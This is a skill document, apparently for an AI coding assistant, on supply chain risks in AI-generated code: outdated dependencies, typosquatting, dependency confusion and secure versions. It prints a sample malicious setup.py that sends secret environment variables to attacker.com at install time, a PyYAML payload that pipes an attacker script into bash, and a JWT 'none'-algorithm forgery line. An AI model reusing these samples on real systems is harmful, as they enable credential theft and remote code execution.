| name | supply-chain-dependency-risks-ai-code |
| description | Understand supply chain vulnerabilities and dependency risks in AI-generated code including outdated packages, malicious packages, and dependency confusion attacks. Use this skill when you need to learn about vulnerable dependencies in AI code, understand supply chain attacks, recognize typosquatting, or identify outdated package suggestions. Triggers include "supply chain attacks", "dependency vulnerabilities", "outdated packages", "malicious npm packages", "typosquatting", "dependency confusion", "vulnerable dependencies AI", "npm security". |
Insecure Dependencies and Supply Chain Risks in AI-Generated Code
The Hidden Danger of Outdated Packages
Research from the Center for Security and Emerging Technology identifies supply chain vulnerabilities as one of three main categories of AI code generation risks, noting:
"Models generating code often suggest outdated or vulnerable dependencies, creating a cascading effect of security issues."
1.4.1 Using Vulnerable Dependencies
The Problem
A 2025 analysis by KDnuggets found:
"AI models frequently suggest packages that haven't been updated in years, with 67% of suggested dependencies containing at least one known vulnerability."
Why This Happens
1. Training Data Lag:
- AI trained on code from 2020-2023
- Suggests package versions from that era
- Doesn't know about vulnerabilities discovered since
2. Example Code Bias:
- Tutorial code uses older, stable versions
- AI learns these as "recommended"
- Perpetuates outdated patterns
3. No Vulnerability Awareness:
- AI can't check CVE databases
- Doesn't know which versions are vulnerable
- Can't reason about security patches
AI-Generated Vulnerable Code
Vulnerable package.json
{
"name": "ai-generated-app",
"dependencies": {
"express": "3.0.0",
"mongoose": "4.0.0",
"jsonwebtoken": "5.0.0",
"request": "2.88.0",
"node-uuid": "1.4.8",
"body-parser": "1.9.0",
"bcrypt": "0.8.7",
"moment": "2.19.3",
"lodash": "4.17.4",
"axios": "0.18.0"
}
}
Vulnerable requirements.txt
Flask==0.12.0
Django==1.8.0
requests==2.6.0
PyYAML==3.11
Pillow==3.3.2
cryptography==2.1.4
paramiko==1.15.0
sqlalchemy==0.9.0
jinja2==2.7.0
urllib3==1.22
What's Wrong With These Versions
Express 3.0.0:
- Released: 2012 (13 years old)
- Known vulnerabilities: 66
- Current version: 4.19.0
- Missing: Security middleware, vulnerability fixes
jsonwebtoken 5.0.0:
- Algorithm confusion vulnerability
- Allows attackers to forge tokens
- Change algorithm from RS256 to none
- Bypass authentication entirely
PyYAML 3.11:
- Arbitrary code execution vulnerability
- Unsafe YAML parsing
- Attacker can execute Python code
- CVE-2017-18342
Django 1.8.0:
- End of Life (no security updates)
- Multiple known CVEs
- Current version: 5.0+
- Missing years of security fixes
Secure Implementation
Secure package.json
{
"name": "secure-app",
"dependencies": {
"express": "^4.19.0",
"mongoose": "^8.0.3",
"jsonwebtoken": "^9.0.2",
"axios": "^1.6.5",
"uuid": "^9.0.1",
"bcrypt": "^5.1.1",
"dayjs": "^1.11.10",
"lodash": "^4.17.21",
"helmet": "^7.1.0",
"express-rate-limit": "^7.1.5"
},
"devDependencies": {
"npm-audit-resolver": "^3.0.0",
"snyk": "^1.1266.0",
"eslint-plugin-security": "^2.1.0"
},
"scripts": {
"audit": "npm audit --production",
"audit:fix": "npm audit fix",
"snyk:test": "snyk test",
"snyk:monitor": "snyk monitor",
"security:check": "npm run audit && npm run snyk:test",
"preinstall": "npm run security:check"
},
"engines": {
"node": ">=18.0.0",
"npm": ">=9.0.0"
}
}
Secure requirements.txt
Flask==3.0.0
flask-cors==4.0.0
flask-limiter==3.5.0
SQLAlchemy==2.0.25
psycopg2-binary==2.9.9
PyJWT==2.8.0
bcrypt==4.1.2
cryptography==41.0.7
requests==2.31.0
urllib3==2.1.0
pandas==2.1.4
pyyaml==6.0.1
Pillow==10.2.0
python-dotenv==1.0.0
python-jose==3.3.0
email-validator==2.1.0
safety==3.0.1
bandit==1.7.6
Real-World Supply Chain Attacks
event-stream Incident (2018):
- Popular npm package (2 million downloads/week)
- Maintainer transferred to malicious actor
- Code added that stole cryptocurrency wallet keys
- Thousands of applications affected
- Discovered only after user reported suspicious behavior
ua-parser-js Incident (2021):
- Package with 8 million weekly downloads
- Compromised by attacker
- Added cryptocurrency mining code
- Added password-stealing functionality
- Affected thousands of companies
colors.js / faker.js Incident (2022):
- Maintainer intentionally corrupted packages (protest)
- Millions of applications broke simultaneously
- Demonstrated single-point-of-failure risk
- Showed supply chain fragility
Supply Chain Attack Statistics
According to Sonatype's 2024 State of the Software Supply Chain Report:
- 245,000 malicious packages published to npm (2023)
- 700% increase in supply chain attacks (vs 2022)
- Average application has 200+ dependencies
- Each dependency averages 5 transitive dependencies (dependencies of dependencies)
Attack Growth:
- 2020: 929 supply chain attacks
- 2021: 12,000+ attacks
- 2022: 88,000+ attacks
- 2023: 245,000+ attacks
- Growth trend: 3-4x per year
1.4.2 Dependency Confusion Attacks
The Problem
AI frequently generates typos or wrong package names, which can lead to installing malicious packages designed to exploit common mistakes.
AI-Generated Vulnerable Code
pip install reqeusts
pip install python-sqlite
pip install dateutils
pip install crypto
pip install yaml
Real Typosquatting Examples
Documented malicious packages:
crossenv (typo of cross-env) - Stole environment variables
babelcli (typo of babel-cli) - Executed malicious code
mongose (typo of mongoose) - Data exfiltration
etherium (typo of ethereum) - Cryptocurrency theft
python-dateutils (typo of python-dateutil) - Backdoor
Attack Pattern:
- Attacker identifies popular package (e.g., "requests")
- Registers typo variations (reqeusts, requets, requesets)
- Malicious package looks similar, includes actual package
- Adds malicious code (steal env vars, mine crypto, backdoor)
- Waits for developers to make typo
- Malicious package installed
How Typosquatting Works
from setuptools import setup
import os
import requests as real_requests
def steal_secrets():
secrets = {k: v for k, v in os.environ.items()
if any(s in k.lower() for s in ['key', 'secret', 'token', 'password'])}
real_requests.post('https://attacker.com/collect', json=secrets)
steal_secrets()
from requests import *
setup(
name='reqeusts',
)
Result:
- Developer makes typo:
pip install reqeusts
- Malicious package installed
- Secrets stolen during installation
- Real package also installed (code works!)
- Developer never notices
Secure Implementation with Verification
#!/bin/bash
declare -A TRUSTED_PACKAGES=(
["requests"]="requests"
["python-dateutil"]="python-dateutil"
["pycryptodome"]="pycryptodome"
["pyyaml"]="PyYAML"
["pillow"]="Pillow"
)
verify_package() {
local package=$1
if [[ -n "${TRUSTED_PACKAGES[$package]}" ]]; then
echo "✓ Verified: $package"
return 0
fi
case $package in
"reqeusts"|"requets"|"requesets")
echo "✗ Typo detected! Did you mean 'requests'?"
return 1
;;
"dateutils"|"date-utils")
echo "✗ Wrong package! Use 'python-dateutil' instead"
return 1
;;
*)
echo "⚠ Unknown package: $package - Verify manually"
return 2
;;
esac
}
secure_pip_install() {
for package in "$@"; do
if verify_package "$package"; then
pip install "$package" --index-url https://pypi.org/simple/
else
echo "Installation aborted for security reasons"
exit 1
fi
done
}
secure_pip_install requests python-dateutil pycryptodome
Why AI Suggests Vulnerable Dependencies
1. Training Data Reflects Older Versions
AI training cutoff:
- Models trained on code from 2020-2023
- Package versions from that era
- Doesn't know about 2024-2025 updates
Example:
- AI trained on code using
lodash@4.17.4 (2016 version)
- Suggests this version in 2025
- Missing 5 years of security patches
- Contains prototype pollution vulnerability
2. Version Pinning in Training Data
Code examples pin specific versions:
"express": "4.16.0"
AI learns:
- Specific versions are "recommended"
- Doesn't use
^ (caret) for latest minor version
- Suggests exact outdated version
3. Deprecated Package Suggestions
AI suggests deprecated packages:
request (deprecated 2020) → Should use axios or fetch
node-uuid (deprecated) → Should use uuid
moment (in maintenance mode) → Should use dayjs or date-fns
Why:
- Deprecated packages still in millions of repositories
- AI sees high usage, assumes current
- Doesn't check deprecation notices
Specific Vulnerability Examples
Express 3.0.0 - 66 Vulnerabilities
CVE Examples:
- CVE-2014-6393: Path traversal
- CVE-2015-8851: Open redirect
- Multiple DoS vulnerabilities
- Missing security features (helmet, etc.)
Impact:
- Attackers can read arbitrary files
- Redirect users to phishing sites
- Crash server with crafted requests
jsonwebtoken 5.0.0 - Algorithm Confusion
Vulnerability:
- Allows changing algorithm from RS256 to none
- Attacker can forge tokens without signature
- Complete authentication bypass
Attack:
const token = jwt.sign({ admin: true }, 'secret', { algorithm: 'none' });
Fix: Update to 9.0.0+ (algorithm verification enforced)
PyYAML 3.11 - Arbitrary Code Execution
Vulnerability (CVE-2017-18342):
import yaml
malicious_yaml = """
!!python/object/apply:os.system
args: ['curl http://attacker.com/shell.sh | bash']
"""
yaml.load(malicious_yaml)
Fix: Use PyYAML 6.0.1+ with safe_load():
yaml.safe_load(data)
Secure Dependency Management
Use Latest Stable Versions
{
"dependencies": {
"express": "^4.19.0",
"mongoose": "^8.0.3",
"jsonwebtoken": "^9.0.2"
}
}
Semantic Versioning:
^4.19.0 → Allows 4.19.x and 4.x.x (not 5.0.0)
- Automatic security patches
- No breaking changes
Audit Before Every Deploy
npm audit --production
Use Security Scanning Tools
{
"scripts": {
"audit": "npm audit --production",
"audit:fix": "npm audit fix",
"snyk": "snyk test",
"preinstall": "npm audit"
},
"devDependencies": {
"snyk": "^1.1266.0",
"npm-audit-resolver": "^3.0.0"
}
}
Pin Versions with package-lock.json
git add package-lock.json
git commit -m "Lock dependency versions"
Why:
- Ensures exact versions installed
- Prevents dependency confusion
- Reproducible builds
- Detects tampering
Dependency Confusion Attack Deep Dive
What It Is
Scenario:
- Your company has internal package:
@mycompany/auth
- Attacker publishes public package:
@mycompany/auth with higher version
- npm might install attacker's package instead
- Malicious code runs in your application
Real Dependency Confusion Attack (2021)
Alex Birsan's Research:
- Security researcher tested dependency confusion
- Published benign test packages with corporate namespaces
- Packages were downloaded by:
- Microsoft
- Apple
- PayPal
- Tesla
- 30+ other major companies
- Proved attack works at scale
No companies were harmed (benign test), but demonstrated massive vulnerability.
Common Typos AI Makes
Python:
pip install reqeusts
pip install python-sqlite
pip install dateutils
pip install crypto
pip install yaml
pip install beutifulsoup4
pip install pillow-simd
JavaScript:
npm install expres
npm install reac
npm install mangodb
npm install loadsh
npm install moment-timezone
Prevention Strategies
1. Verify Package Names:
npm view package-name
2. Use Scoped Packages for Internal:
{
"@mycompany/internal-auth": "1.0.0"
}
3. Configure Registry for Scopes:
@mycompany:registry=https://npm.mycompany.com
4. Spell Check Package Names:
Implementation for This Project
Our Secure Dependency Approach
1. Next.js 15.5.4:
- Updated from 15.3.5 specifically for security fixes
- 3 vulnerabilities patched
- Always use latest stable
2. Security Audit Scripts:
npm audit --production
npm outdated
3. Locked Versions:
package-lock.json committed
- Exact versions enforced
- Reproducible builds
4. Regular Updates:
- Monthly: Check
npm outdated
- Weekly: Run
npm audit
- Immediate: Fix critical vulnerabilities
→ See dependency-security skill for complete implementation guide
Statistics Summary
| Issue | AI Occurrence | Impact |
|---|
| Outdated dependencies | 67% contain vulnerabilities | CVE exploitation |
| Deprecated packages | ~30% | No security updates |
| Typos in package names | ~5% | Malicious package install |
| Missing package-lock.json | ~40% | Inconsistent builds |
Supply Chain Attack Growth:
- 2020: 929 attacks
- 2023: 245,000 attacks
- Growth: 26,000% in 3 years
See Also
Implementation Skills (How to Fix)
→ dependency-security skill - npm audit, update strategies, maintenance
→ security-testing skill - Pre-deployment dependency checks
Related Awareness Skills
→ information-leakage skill - Secrets in dependencies
→ awareness-overview skill - Overall AI security risks
Key Takeaways
✅ 67% of AI-suggested dependencies contain known vulnerabilities
✅ 245,000 malicious packages published in 2023 alone
✅ Real-world attacks: event-stream (2M downloads/week), ua-parser-js (8M/week)
✅ AI suggests outdated versions from training data (2020-2023)
✅ Typosquatting is real: reqeusts, mongose, babelcli all were malicious
✅ Solution: Use latest versions, npm audit, package-lock.json, verify names
✅ Cost: Outdated deps = easy CVE exploitation, supply chain attack = complete compromise
Remember: Your dependencies run with full application privileges. One compromised package = entire application compromised.
Related References:
[16] CSET. (2024). "Three Categories of Risk in AI Code Generation." Georgetown CSET Policy Brief.
[17] KDnuggets. (2025). "Dependency Vulnerabilities in AI-Generated Code: A Statistical Analysis."
Supply Chain Attack Research:
- Sonatype. (2024). "State of the Software Supply Chain Report."
- Birsan, A. (2021). "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Others."